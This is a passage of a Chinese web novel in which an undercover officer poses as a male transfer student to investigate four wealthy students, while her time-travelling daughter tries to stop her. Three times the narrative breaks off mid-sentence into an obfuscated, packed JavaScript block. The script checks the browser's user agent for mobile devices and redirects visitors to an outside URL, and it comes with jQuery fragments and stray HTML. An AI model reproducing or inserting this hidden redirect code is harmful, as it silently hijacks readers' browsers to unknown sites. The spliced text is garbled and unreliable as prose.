不知过去多久,徐庆云无声挑眉,黄黑色的面庞终于露出了一丝笑意:“果然都没看错你。” 他从桌肚里抽出一份文件,往前一推,有条不紊地说:“上面的确有件事要你去做,并且早就成立了专案组,但考虑到各方面因素,要求你必须以个人身份行动。也就是说你得离开血豹,除了资金没有任何外援,并且就算成功破案,也不能再回队里。这样,你还愿意做吗?” 这些话饱含深意,取舍艰难,祝飞雁陷入了久久的沉默。 放弃多年努力才进入的特种作战队,放弃光明的未来,就为了查出幕后黑手,这真的值得吗? 查,只有一个人,一切未知。 不查,怎么可能心安理得继续生活? 她想或许不是值不值得的问题,而是有没有良心的问题。争口气,一生才值得。 许久,祝飞雁无声握拳:“没问题。” “那我就开门见山了。”徐庆云早猜到她会这么决定,立刻道:“瞿欣临死前给我传过一条信息,内容印证了上面的猜想,无名岛案与她的车祸都与一所学校有关。准确来说,是和四个背景优越的男生有关。” 这回轮到祝飞雁沉默了。 学生?一帮小屁孩能有这么大能耐? 她果断上前拿起文件,翻了两下眉头顿时深深拧起,这才发现四个嫌疑人居然都是有名的富家子弟。 而文件内容大部分都是他们背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463615|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后家庭涉及的黑色生意,曾经明着查案的警察一一死亡,因此许多悬案至今未解。 很显然,上面早就盯上四家了。 她突然有种不妙的预感,立刻合上文件:“所以呢?” “所以……”徐庆云笑意深深,又拿出一份文件。紧接着,他双手交叉搭在下颌,饱含深意的视线自下而上对上祝飞雁的双眼:“你去卧底。” 祝飞雁:? “扮成海外转学生。” “……” “转学和退役手续都已经准备好,下周你就可以去上学了。以后你与血豹无关。” “……” “另外特案组已成立,我会给你一部手机,你只算线人,找到线索直接上报。” “……” 简直是晴天霹雳,祝飞雁压根不敢想自己回去读书的场面,她垂目一看,只见显示身份资料的文件上写着—— A洲转学生祝宴,18岁,男性。 大概是觉得她表情有些迷茫,徐庆云贴心解释:“根据特案组分析,扮成男生比较有利于你靠近他们。” 良久,祝飞雁闭眼深吸一口气然后吐出:“行。” 得,果然上当了。 恐怕徐庆云等的就是她来问,这下这狗屎二五仔不当也得当! . 一周后,恩德贵族学院。 “喂!你在发什么呆?”一道声音由远及近。 祝安宁的意识昏昏沉沉,她感觉有人在摇晃她的肩膀,像是沉浮在海水里一样,浑身上下都轻飘飘的。 “薛沐!”又是一阵摇晃。 祝安宁视线猛地聚焦,眼底映出了一张放大的面孔。 圆脸杏眼,高马尾,身穿百褶裙墨黑校服的女生眼珠子滴溜溜转,并伸手扯她脸颊,嘟囔道:“你怎么不理我?” 这货谁啊?祝安宁茫然地眨眨眼。 她不是死了吗? 就在刚才,她被一个男人活生生连刺了几刀,狼狈扑倒在水塘里,脏水混着血水吃了满嘴。 此刻肚腹上的痛感犹在,祝安宁摸过去,却摸到了质感丝滑的布料,低头一看—— 校服?! 她顿时一惊,连忙检查全身,终于发现自己和眼前的陌生人穿着一样的校服。 与此同时,不属于她的记忆疯狂涌入脑海。 祝安宁脸色惨白,扶住对方才没摔倒。 “薛沐!你到底怎么了?” “没事……有点低血糖。”祝安宁知道这人是谁了,她是原主薛沐的朋友桑芙。 桑芙说:“你肯定又熬夜玩游戏了对吧。” 短暂休息一会,祝安宁开始有一搭没一搭应着桑芙的话,同时迅速思考现在的情况。 她好像穿越了? 穿成了一个叫薛沐的女生。 她立即抬头张望一圈,只见身后的学校奢华如城堡,金碧辉煌的大门口有一块奇形怪状的石头,上面刻着龙凤凤舞的两个大字‘恩德’。 恩德?! 这不是她妈祝飞雁卧底的那个学校吗? 不久前刚听说这个名字的祝安宁有一瞬间的呆滞,她紧紧盯了一会,然后掏出手机。 屏保亮起,显示时间为2024年9月10号。 下一秒她倒吸一口凉气:靠!她穿回15年前了! 还没等祝安宁消化完一切,四周突然响起难以抑制的尖叫声,伴随着隐秘的笑声,议论纷起。 连桑芙也骤然抓住她手臂开始摇晃,简直像是线下追星的疯狂粉丝,扯开嗓子就吼:“啊啊啊!是祝宴!他前两天才转到恩德,没想到在这碰上了,长得超级帅啊啊啊!” 祝安宁:?? 对不起,不感兴趣谢谢。 祝安宁现在只想知道这到底是怎么回事,但架不住周围声音太大了,这让她有点好奇对方是什么来路,居然能引起这种轰动。 手机往兜里一塞,她转头望去,只见距学校不远处的宽阔的斜坡上,一个一米八爆帅的帅哥踩着滑板滑下,身形修长,棕色碎发飞扬飘逸。 普通的白衬衫和黑西裤穿在他身上有股利落的贵气,他脖子里还挂着银红色的耳机,但祝安宁觉得这人太装了,滑个滑板还双手插兜,拽得二五八万。 阳光太刺眼了,祝安宁没看清长相已经兴致缺缺,她一针见血地点评:“也就一般吧。” 桑芙立刻捉住她唇瓣:“不许你说我的新男神。” 祝安宁:“……” 此时,尖叫声更是如海浪迭起,众目睽睽下,只见祝宴一路滑下,越来越靠近校门口。阳光倾泻下来,落向他锋利英俊的眉眼,将那张清俊冷硬、线条锋利流畅的面容描摹得更加深邃、清晰。 祝安宁眯起眼,莫名觉得这张脸有点眼熟。 唰——! 祝宴踩着滑板从她身边滑过。 两人几乎是擦肩而过。 因为距离太近,他低头侧看了祝安宁一眼,目光有些冷。 如此熟悉的面孔一闪即消,祝安宁倏然一怔,第一时间追随身形看去,只见祝宴到达门口时,左脚刹车,随即修长右腿一踩一勾,悬空弹起的滑板被夹在腋下,紧接着快步流星进入恩德。 这回是完完全全看清了对方的长相。 这一秒,祝安宁的脑海中突然浮现出祝飞雁的面孔,她本身就长得很有特点,尽管已经四十岁,但那张脸依旧英气不改,假如年轻一点的话……. 意识到什么,祝安宁顿时傻眼:…………ohshit。 靠!!这大帅X是她妈没错吧?怎么没人告诉她,她妈卧底时居然是女扮男装啊敲! 4. Chapter 04 很多人在受到重大打击或惊喜时会选择下意识逃避,祝安宁也不例外,她简直要被一连串的事情给弄晕了,呆呆盯着校门口方向好一会,下一秒狠狠摇头:“一定是做梦!” 一天之内先是听闻老妈死亡噩耗,然后回家路上被刺,睁眼发现自己穿越,最后魂都还没定下来,立马又亲眼目睹年轻版老妈与自己擦肩而过。 还特么是男装! “……”祝安宁略有些心酸地想,天爷啊她才十五岁,人生有必要这么曲折怪诞吗! 她越想越觉得自己是在做梦。 她肯定是死了,那大帅X绝不可能是祝飞雁! 这十五年来,祝安宁心目中的祝飞雁是冷酷刻板的形象,就像影视剧里刻画的一些反派母亲角色,不管开心还是不开心永远板着脸,仿佛所有人都欠她,喜欢将锅碗瓢盆摔得邦邦响来彰显自己的权力。同时她也是沉默寡言且神秘的,宛如一只囚于笼中的飞鸟,经常面无表情坐在窗前,一言不发望着窗外的春夏秋冬。 但祝宴一看就是非常张扬的性格,是草原上奔跑的倨傲的狮子,体魄强壮,浑身上下透着一股强烈的自我气息。 ——该不会是什么双胞胎弟弟吧? 实在是祝飞雁以前的形象太令人深刻了,祝安宁宁愿认为这是在做梦,或者进行极度离谱的猜测,都不愿意将两人联系到一起。 静默两秒,她火速闭上眼:“睡一觉梦就醒了,醒来我还在山城!” “你觉得你是在做梦?” “对!” “……” “薛沐你发什么神经?给我起来!!”桑芙的怒吼响彻云霄。 祝安宁耳朵差点被吵聋,缓缓睁开眼,只见桑芙脸色涨红,正千辛万苦扶着她的背,防止她栽倒在地。 她则双手搭在小腹,身体重量全部压在桑芙臂弯,整个人呈倾斜状态被揽在怀里。 画风诡异,校门口同学异样的目光纷纷袭来。 祝安宁:“……” 桑芙杏眼瞪得老圆,咬牙切齿:“你直接往地上栽?要不是我扶的快,你今天脑袋不开花我跟你姓薛!” 被喷了一脸唾沫星子的祝安宁:“…………” 呜呜呜,果然不是做梦。 意识到这的确是现实,她顿时垂头丧气地站直,边抹脸,边开始回想原主的信息。 薛沐爹妈健在,但常年忙事业不归家,从小被保姆带大,性格安静内敛。一周多前考入恩德,因为爱好相同,和同桌桑芙成为了好友。 但比起善于八卦交际的桑芙,原主要更宅一点,她喜欢沉浸在自己的世界,所以对于恩德的了解并没有多少。 祝安宁斟酌过情况,立刻问桑芙:“你刚才说那个人是谁?再说一遍?” 桑芙很清楚薛沐不爱八卦,先是吐槽几句,紧接着耸耸肩道:“祝宴啊,听说他爸妈是小有名气的收藏家,准备回国发展,所以前两天就转来恩德了。但他最后肯定也是要出国,毕竟他在B班。” 恩德是一所私立学院,师资力量强大,学生非富即贵,而且这里有中外合办项目,部分学生只需要学习三年,考到该有的证,就能去国外混两年拿一张文凭镀金。 这些人通通被分在国际ABC三班,总而言之,那三个班的人出生就站在金字塔顶端了,家里人早就安排好一切。 “你怎么知道这么清楚?”祝安宁听她侃侃而谈,不免有些好奇。根据原主记忆来看,两人都是普通班学生,家庭情况属于中产偏上,按道理接触不到国际班的人。 她现在急切地想要了解祝宴。 桑芙拍拍衣兜:“论坛。” 祝安宁:“啊?” 桑芙翻了一个白眼,示意她拿出手机,祝安宁立刻掏出来递给她,就见她一边登陆网站,一边吐槽:“求求你多上上学校论坛,里面超级多有趣的帖子,别整天玩游戏,适度八卦有益身心健康,多看帅哥更有益内分泌调理!” ……神特么调理内分泌。 祝安宁撇撇嘴,准备凑过去了解一下。 轰轰——! 忽然,跑车炸街般的马达声撕裂天穹。 两人齐刷刷抬头,只见两辆银灰色的柯尼塞格一前一后漂移甩尾,稳稳停在街道一侧,线条流畅的车身在阳光下折射出璀璨的光,从印有赛车纹路的前车盖到极低的底盘,无一不在散发金钱的味道。 紧接着,四个帅得各有千秋的男生推门下车。 学校专门的泊车小弟快步迎上前,为首的红发男吊儿郎当将手里钥匙丢过去,随即一甩挎包,和三人拉风地并肩前行。 这简直是盛世巨星般出场,议论声再次如海浪席卷。 今天是周一,门口堵了一排豪车。 送孩子上学的家长、西装革履的贴身管家、职业装优雅知性的秘书……无论是成年人还是学生,不约而同望向他们。 祝安宁眼睛也瞪大了,没忍住嘶了一声。 极品啊极品,以往在小县城哪见的到这种帅哥,莫莉要是在这,指定猖狂地跳起来狂笑三声。 与此同时,桑芙猛地将手机往祝安宁兜里一塞,兴奋地说:“既然真人来了,那就直接看真人!虽然我也很喜欢祝宴,但他比起这四位还是普通了点。” 祝安宁疑惑:“他们是谁?” “四位富贵哥,人称恩德当代F4。”桑芙来了兴致,一把拉起祝安宁往角落走,甚至贴心挑选了一个能将四人看得一清二楚的好角度。 然后下巴冲为首的红发男一扬,感慨般地说:“这个看起来很hiphop的平头男叫顾逢秋,老爸是金融巨鳄,老妈是新晋影后,家里贼有钱。性格嘛一般,而且换女友如换衣服。” 祝安宁顺着视线看过去,只见顾逢秋西装校服配球鞋,衣领却半敞,精壮胸膛露出,修长脖子里挂着一条十字架项链,整个人看起来骚包得不行。 她点评:“气质轻浮,下一个。” 桑芙道:“后面那个衣服穿妥帖、不轻浮的是明流,学生会会长,成绩非常优秀,也没什么架子。这人一家子都搞教育和艺术,唯独老爸是商会会长。” 祝安宁摸着下巴,认真打量。 这个叫明流的人的确给人感觉很舒服,如沐春风般温柔和善,利落的美式前刺发型将五官衬托得更加深邃大气。 半晌,她摩挲着下巴又点评道:“总感觉有点人面兽心,下一个。” 第三位叫方之熙,个子最高,气质最冷硬,是个混血。 据桑芙说,方家祖上三代都是搞商业投资的,正儿八经的财阀世家,家里产业几乎涉及并垄断大部分市场。得益于优越的背景,方之熙从小在国外长大,性格开朗大方,还是个颜值网红。 但祝安宁对大鼻子男不感冒,特别真诚地再次发表感言:“网上这种男的一抓一大把,感觉会像是私聊女生的人。下一个!” “……”桑芙简直服气了,以为是在点头牌吗朋友! 她不可置信地瞪向祝安宁:“你是不是厌男?” 祝安宁一口否认:“倒也不是,我就是莫名有种直觉。” 这种直觉是常年耳濡目染形成的,小时候她特别爱看狗血偶像剧,每当吃饭必须端着饭碗蹲在电视机前,祝飞雁虽然不阻拦,但她冷不丁会冒出一些刻薄的话。 譬如:“什么虐恋情深,这男的用恨女人的借口搞囚禁,百分百家暴男无疑。” 又譬如:“嚯,是这么暗恋的?时时刻刻跟踪女主,不张嘴还吃醋,搞点煽情音乐就是浪漫了?我看分明就是一个隐形变态。” 总之在祝飞雁眼里,没一个男人是好人。即使偶像剧特地用各种完美设定堆砌,她都能挑出刺来。 对此,桑芙不理解但尊重:“还有最后一个重磅人物,我就不信你看不上眼。” 祝安宁早就已经注意到了最后一个人。 此时四人已经快要走进大门,只见那人冲顾逢秋平静地瞥了一眼,顾逢秋立刻讪讪一笑,似乎有点怕他。其他人不知道在说什么,突然方之熙伸手揽住他肩膀,他抬手挥开,不怒自威。 但祝安宁首先看到的,是袖口那精致无比的袖扣。 他的穿着打扮最合规且优雅,校服衬衫扣到最顶端,一副高冷禁欲的味道,尤其是冷白肤色,使俊美的面容多了一丝冷意。 “这谁?”祝安宁并不好奇,只是觉得他有点眼熟。 桑芙意味深长地挑眉:“F4中最绝的一位。这人家里商政两手抓,随便一个亲戚拉出来就是律师医生或者科技新贵,还都是顶级的那种。但他们家非常低调,有点像那种隐世豪门的意思。他也很低调,还洁身自好,从来没有过绯闻。” “……”祝安宁心想这帮人一个个的人设搞得像小言中的霸总一样,实际上全是非主流。 她都要怀疑自己是不是穿进狗血小说了。 少顷她顺口就问:“哦,那他叫啥?” 桑芙一字一顿地说:“孟书礼呀,名字是不是特别好听?” 话落,祝安宁眉端豁然一紧,猛地转头对上桑芙的视线:“你说他叫什么?” 薛沐的眼型细长而眼尾吊起,是典型的凤眼。当眯起眼时,会显得凶相。 桑芙一顿,小心翼翼重复:“孟书礼?” ——孟书礼。 祝安宁有些恍惚,脑海中骤然回响起老妈队友的声音:“孟书礼肯定还会来找你。” “这次的凶手就是当年的逃犯孟书礼。” “十五年前一桩大案牵扯恩德四个男生……” 少得可怜的信息在这一刻突然汇聚到了一起,祝安宁无声捏紧拳头,紧紧盯着四人进入学校,脸色唰地发白。 所以恩德F4就是祝飞雁卧底的目标? 怪不得她觉得孟书礼眼熟,虽然那人是在大雨滂沱里行凶,但隔着雨帘,她还是看到了部分五官。 现在冷静下来回想,杀她的应该就是孟书礼。 2024年,祝飞雁卧底恩德,接触F4查案。 2040年,祝飞雁被在逃犯孟书礼杀害,长达15年的案子终于迎来最悲伤的结局。 强行按耐住跌宕起伏的强烈情绪,祝安宁镇定地问桑芙:“说实话都很帅,他们和刚才那个祝宴关系好吗?” 桑芙摇摇头:“这谁知道,祝宴刚转来呢。我估计祝宴应该不会和他们一起玩吧,F4从小一起长大的,关系非常好,别人很难插进去。” 这意思是他们还不认识? 祝安宁心情瞬间宕到了谷底,就像被人推到了岌岌可危的悬崖边缘,往左是通往be的未来,往右是一切刚刚发生的现实世界。 她情不自禁想起停尸房前那些人絮絮叨叨的话,也许他们也非常遗憾,又也许这些秘密被埋藏太久,急需要找一个发泄口,他们几乎将祝飞雁的卧底过程和盘托出了。 但当时她太过惊愕,完全没有仔细听。 祝安宁咬着唇,血腥味顺着喉咙涌上鼻腔。 如果当初不是因为查案,祝飞雁也许不会受伤,不会窝在犄角旮沓隐藏过去,更不会孤寂地死在雷雨黑夜。 直到这一刻,祝安宁终于反应过来自己为什么会来到2024年——这是命运的恩赐。 它要自己来到事情的起点,是想让自己阻止悲剧发生。得知结局的她,假如能从源头阻止,有可能会改变未来。 自私的念头像附骨之蛆一样缠在祝安宁的心头,她一点点咬紧牙关,虽然祝飞雁是在执行正义,但任何事情比起生命来说都不重要。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463616|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她还没有和祝飞雁老死不相往来。 没有继续吵吵闹闹过一辈子,还没有好好叫一声妈妈。 她要祝飞雁好好活着。 祝安宁猛地握紧拳头,她决定了,必须阻止老妈的卧底行动! 某种意义上她的确深传祝飞雁的性格,这个想法一出,她毫不迟疑一拍桑芙肩膀:“我有事先进去,教室见!” 随即,她捏捏脸颊打起精神,马不停蹄往大门口冲。 先跟上F4打探打探情况,她有预感,老妈一定会很快出手! . 同一时刻,校内咖啡馆。 “阿嚏——!”祝飞雁懒洋洋坐在沙发里,狠狠打了一个喷嚏。她皱着眉活动一下鼻子,感冒了? 自接下卧底任务,她白天黑夜的练,一刻没停设计并调整完整的计划,应该是没睡好导致身体变差。但没关系,此刻她拳头邦硬,已经迫不及待锤爆四头蠢猪了! 祝飞雁靠向沙发,双腿打开,单手搭在桌面,有一搭没一搭敲着咖啡杯。 这是F4常来的地方,她是特地来等他们的。 “那个……”一个女生怯生生地上前来要号码。 她瞥了眼对方红透的脸颊,显然是鼓足勇气才上来,于是伸手接过手机上输入数字,眼角余光却始终停留在门口。 进校几天,她已经摸清了一点了他们的行动规律,恩德早上第一节课早上八点才开始,他们习惯到这里坐一会然后才去上课。 输入完毕,她冲女生微微一笑:“我想自己呆一会,可以吗?” “可、可以!”女生脸更红了,转身仓皇逃离。 “……”祝飞雁这辈子都没想到自己也有装风流男的一天,无声撇撇嘴,继续观察。 与此同时,擦到发亮的旋转门被人推动,咖啡馆内响起阵阵隐秘的议论声,只见顾逢秋四人前后进来,宛如爱豆亲临现场,直接成为了视线中心。 他们光鲜亮丽,英俊非凡。 但在祝飞雁眼中,他们是为非作歹的狂徒。 瞿欣死前传回信息,声称瞿柔死前遭受虐打,指甲缝里不仅有残留的衣服布料,口中还有一枚校徽,经过比对才发现都来自于恩德。 两人到死都在试图传递信息。 即使指向性不强,可瞿柔的职业历程却是一个完美的线索。 瞿柔考研上岸后才开始上班,一年前调入恩德实习,教的正是四人所在的A班。因无故失踪,警方曾来恩德调查,最后得出一个结论:不容于学校氛围,与同事关系不好,学生也不喜欢她,并且在职工宿舍发现了抑郁药品,怀疑是心理问题导致自主消失。 祝飞雁用脚趾头想,都知道这是杜撰的虚假证据。 有人用抑郁掩盖了一切,碍于权威,上下均选择缄默。 可惜上面早就盯上他们了,在他们掩盖事实真相时费尽心机得到了一段监控视频,视频里,是顾逢秋四人将瞿柔推进学生会办公室的一幕。 祝飞雁很清楚,要想查下去,就得先知道他们到底和瞿柔有什么关系。 四人正在买咖啡。 她无声观察着,进校三天,目前还没找到好机会接近他们。 四家背景雄厚,只要是有点地位的人都被打点过,就像提前知道了答案,却不知道该用哪个方程式去解,有些证据根本无从查起。 经过特案组分析,F4已经陆续接触家业,且各自手里都不太干净,沾血的沾血,沾脏的沾脏,从他们身边入手是最好的选择。 如此一来女装不方便,甚至有被骚扰的可能,只有男装还有点可能。 有道是不入虎穴焉得虎子,祝飞雁这次要扮演的二五仔,人设就得是会和他们同流合污的一个坏胚。 而他们都不傻,每个人都是一座帝国的继承者,打小接受最好的教育与培养,虽表面看起来吊儿郎当,却都是实打实的聪明睿智。 要想彻底接近他们,必须循序渐进。 并且必须以一个人为撬动口,吸引注意力,才能顺理成章进入小团体。 先加入获取信息,再背后揍人,没毛病! 恰在此时,桌上的手机进来一条微信信息。 屏幕亮起,只见备注怀慈的人传来问候:“嗯?这么巧,你也在恩德读书?” 祝飞雁唇角微勾,机会这不就来了? 怀慈,顾逢秋青梅竹马的女神。 怀家是文人世家,高风亮节,看不太上顾家这种毫无底蕴、暴发户出身的家庭。因此两人近些年关系渐远,但顾逢秋爱死对方了,整天伤春悲秋地搞暗恋。 进校前,祝飞雁特地设局救了一次怀慈,她要利用怀慈让顾逢秋对自己感兴趣。 顾逢秋就是她选择的撬口。 这次四人买完咖啡居然就要走,说时迟那时快,祝飞雁立刻起身,虚虚摁住语音条装作要发信息,并快步上前追到四人背后。 一切都在往预设的方向进行,她摁下去,语气温柔地说:“是啊怀慈学姐……靠!” 话说到一半,所有声音戛然而止。 众目睽睽下,一个女生像小炮弹一样冲进旋转门,飞速掠过F4,径直扑进了祝飞雁怀里。 祝飞雁差点被撞成C型,顿时倒吸一口凉气,哪个瘪犊子毁她计划?! 她按耐住火气,高抬手,冷着脸低头看去。 只见一个陌生的女生紧紧揽住她腰,因为速度过快,齐耳短发乱糟糟像鸡窝,但她用那一双亮晶晶的、看起来特别有精神的黑眼珠盯着祝飞雁,并中气十足地喊了一声:“爸!我来找你了!” 时年二十五岁且不婚主义、还是女人的祝飞雁:?? 什!么!玩!意! 哪来的熊孩子滚啊! 5. Chapter 05 五分钟后。 咖啡馆外。 咖啡馆位于恩德划出的休闲区,周围绿化均经过精心设计,时值九月,含着白色花苞的槐树迎风招展,绿树白花,红砖瓦墙,美不胜收。 “你的意思是你看错了?”墙角下,祝飞雁双手抱臂,斜靠在红砖墙上,用关爱智障的眼神看向对面的祝安宁:“你把我认成了你爸,所以当那么多人面喊我爸?” 两人面对面站着,身形被茂密树叶完全掩盖。 只见祝安宁缩着脖子,特别像做坏事被抓包的小学鸡,头垂得极低:“昂。” 祝飞雁:“……” 这么离谱的理由,还特么有脸昂?! 树外,腋下夹着书本的同学匆匆走过,身影透过枝桠交错产生的孔洞若隐若现。 祝飞雁收回目光,足足盯了祝安宁十秒,才强行按耐住火气,压低声音问:“你当我傻?说吧,到底为什么叫我爸。” 祝安宁嗫嚅不敢吭声,虽然的确冒昧,可刚才一看到祝飞雁跟上F4真就下意识慌了,做出这种事纯粹是慌不择路,但至少成功阻止了。 现下她只能绞尽脑汁找借口:“就是太久没见到我爸,我很想他,刚才低血糖,脑子一晕出现了幻觉……” 说话时,祝安宁偷偷抬眼,小心翼翼观察祝飞雁的表情,心想自己原本差点脱口而出叫妈呢,考虑到还在卧底才张口喊的爸。 其实对祝安宁来说,这场穿越很神奇也很苦涩,从前母女俩关系虽然不好,但打断骨头连着筋,无论如何都是一家人,而现在两人面对面却不相识。 作为唯一一个知道未来发展的人,她根本不知道该怎么解释,如果实话实说,百分百会被当成神经病送进三院。 但很显然,祝安宁觉得祝飞雁现在就已经认为她是个神经病,因为视线中,她亲爱的老妈绷着一张脸,宛如定海神针岿然不动,一副‘你继续编’的嘲讽表情。 “……”祝安宁实在没忍住又咕哝一句:“反正不会真有人认为你是我爸,你才多大……” 啪啪啪!祝飞雁突然热烈鼓掌,冲祝安宁竖起大拇指:“好无懈可击的理由。” 这是相信了?祝安宁松了口气。 只是怎么阴阳怪气的。 然而下一秒,就见祝飞雁猛地直起身,一寸寸向自己逼近,祝安宁莫名心慌,咬唇后退。 祝飞雁的个子在女人中算高了,一米八的身材精瘦健壮,宽肩窄腰,经过化妆后原本英气的面孔简直更加锋利,无形中充满压迫感。 和她印象中,因为残疾背部总有些佝偻的窝囊样子形成了鲜明的对比。 “你想干嘛?”祝安宁头皮都在发麻。直到退无可退,背部贴上冰冷的墙壁,紧接着一只拳头擦过脸颊重重抵向墙壁,劲风甚至掀起了发丝。 她一惊,屏住呼吸:“你不会要打我吧?” 亲娘咧!十五年来她老妈就算再生气也没真动手打过人啊! 祝飞雁没回答,冷冰冰垂下眼,先是扫了一眼她胸口的银色铭牌,随即抬高眼神与她对视:“薛同学,你把我当傻子?这理由你自己信吗?” “……不信。”祝安宁心虚一笑:“那如果我是说我其实是想引起你注意呢?” 模样可爱的女孩讨好地笑,眉眼弯弯,像是一只知道自己很可爱的猫,就是脑袋不太灵光。 祝飞雁眯起眼,用审视的眼光仔细端详对方好几遍,半晌才面无表情直起身:“算了,今天这件事我就当没发生过。” 事情已然发生,现在追究已经毫无意义,这次的卧底行动只有祝飞雁一个人,为此已经放弃很多,坚决不能和不相关的人浪费时间。 话落,她收回拳头,伸手帮祝安宁一点点整理好歪在一边的衣领,声音平稳:“我不管你有什么目的,总之我不太喜欢你,所以以后别再让我见到你,好吗?” 警告完毕,祝飞雁头也不回抽身离开。 祝安宁愣在原地。 只见祝飞雁转身之际,冷漠的眼神一瞥而过,如同昨夜吵架那一幕,表情无动于衷,宛如在看一个陌生人发癫。 不知道为什么,祝安宁有种诡异的直觉,如果这次让祝飞雁离开,两人距离一定会越来越远,更别提要改变未来。 不行!她猛地握拳,不管会不会当成神经病,她一定要把她看牢了! 说时迟那时快,祝安宁追上去一把抓住她手臂,一急就脱口而出:“妈!其实我是从未来穿越过来的,我是你的女儿祝安宁,我知道你是卧底……” 嘭! 话说到一半,祝飞雁倏然转身,单手掐住她脖子往后压,神色狠戾,简直像一头发狂的野兽。 “有种把你刚才的话再说一遍。”祝飞雁丝毫没有怜香惜玉的意思,五指用力,几乎瞬间掐得祝安宁无法呼吸。 难以想象的力道压下来,祝安宁脸色逐渐涨红,惊恐的眼珠疯狂颤动。 如果说刚才面对质问只是有点后怕,那么直到这一刻,她才真正体会到两个祝飞雁的差别。 也许两个版本的祝飞雁脾气都不太好,但未来的那个是内敛克制的,就像老鹰失去翅膀无法翱翔,骄傲不复存在后的暴躁。而2024年的祝飞雁却是无所顾忌、完全外放,面对威胁直接开干,绝对不会有一丝迟疑。 这是祝安宁完全不了解的一面。 她认识的,只是一个被命运搓磨后刻意隐藏过去,只剩下无尽不甘的人。 “……放、放手!”祝安宁快要无法呼吸了,急切地拍打祝飞雁的手。 啪嗒、啪嗒。 委屈的眼泪一颗颗往下坠。 祝飞雁瞥了眼顺着手背滑下的眼泪,一双眼冷若寒潭,完全没有生出恻隐之心。 严格意义来说,祝飞雁打小就没有这玩意,幼年的经历成就了如今心狠手辣的行事作风,瞿欣也曾说如果没有规矩约束她,一旦走上歪路,绝对是完美且难以琢磨的高智商罪犯。 她捉住祝安宁的手往头顶一摁,再次扫向她胸口的铭牌,上面写的是‘高一F班薛沐’。 紧接着,她眯起眼:“你刚才叫我什么?” 她的压迫感实在太强,但祝安宁倔脾气也上来了,立刻挪开眼,艰难地挤出几个字:“你掐、掐死我好了。” “行。”祝飞雁压根不带犹豫,猛地用力。 祝安宁:!! 靠,她妈年轻时这么硬这么狠的吗! 肺腑中的氧气越来越稀薄,祝安宁视线逐渐模糊,意识到祝飞雁根本不可能和她废话,她开始挣扎,仓皇点着头:“我说、我说!” “早这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463617|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样不就好了。”祝飞雁稍微松开一些,言简意赅:“说。” 手一松,得以喘息的祝安宁咳个不停,许久才缓过神,只能老老实实说出事实:“反正你因为卧底残疾退役,带着我到山城隐居。2040年你被孟书礼杀死,我才知道你年轻时是卧底,然后我穿越到薛沐身上,只是想阻止你卧底。” 祝安宁不知道的是,前半句话到了祝飞雁耳朵里像是被打了马赛克一样,只断断续续听见:“反正你因为卧底xxxx,2040年你xxxxxx……” 她皱起眉:“你到底在说什么?” 祝安宁有些生气:“这你都听不懂吗?” “……”祝飞雁观察她表情不像假的,思考两秒重复了一遍自己听见的话。 紧接着,就见祝安宁瞪大了双眼:“怎么可能!我明明说明白了!” 得亏祝安宁也不笨,很快反应过来,立刻说某某爱豆会在2039年被爆出轨,结果祝飞雁只能听到2039年这一个时间。 该爱豆是2035年才出道,难道未来发生的事实不能提前说? 简单思索过后,她又尝试说:“某老牌影帝被爆家暴,还偷税漏税!” 这一次,祝飞雁果然就能听到影帝名字。 祝安宁彻底傻眼,两行泪水还挂在脸上。 也就是说,不能将未来发生的事实说出,包括提醒都做不到,所以祝飞雁只能听到“我知道你是卧底”这种充满威胁的话。她只能说出现在已经存在的事实,就像那个赫赫有名的影帝如今正活跃在荧幕上。 但古怪的是,祝飞雁却能听见她是她女儿这件事。 “我好像说不出来……”意识到这一点,祝安宁垂头丧气地低下头,心想这下完了,按照她老妈这狠辣的作风,自己可能会被锤爆脑袋吧。 “反正、反正我就是来救你的!”她试图垂死挣扎,“女儿救妈,天经地义!” 一刹那,两人大眼瞪小眼,相顾无言。 气氛仿佛凝固了。 许久,祝飞雁深吸一口气彻底松开手:“算了,你太危险了,我得想办法捂住你的嘴。” ……无痛当妈?简直可笑!是枪不好玩,飞机不好开吗?脑子进水才给自己找麻烦。 她无声磨着牙,虽然不知道这个叫薛沐的女生为什么知道自己是女人且是卧底,但她脑子指定有点问题,并且她的存在实在危险,一旦走漏风声,她赌上的前途就如镜花水月一场空了! 闻言,祝安宁吓得抱头缩到角落:“你不会真的要杀了我吧!” 祝飞雁冷笑一声,她倒是想! 的确只有死人才能保守秘密,但对付一个十几岁的小女生,手段还是有的。 “对,干掉你然后把你埋在荒山野岭,省得你不知道什么话该说什么不该说。” 但祝飞雁却还是放了狠话。 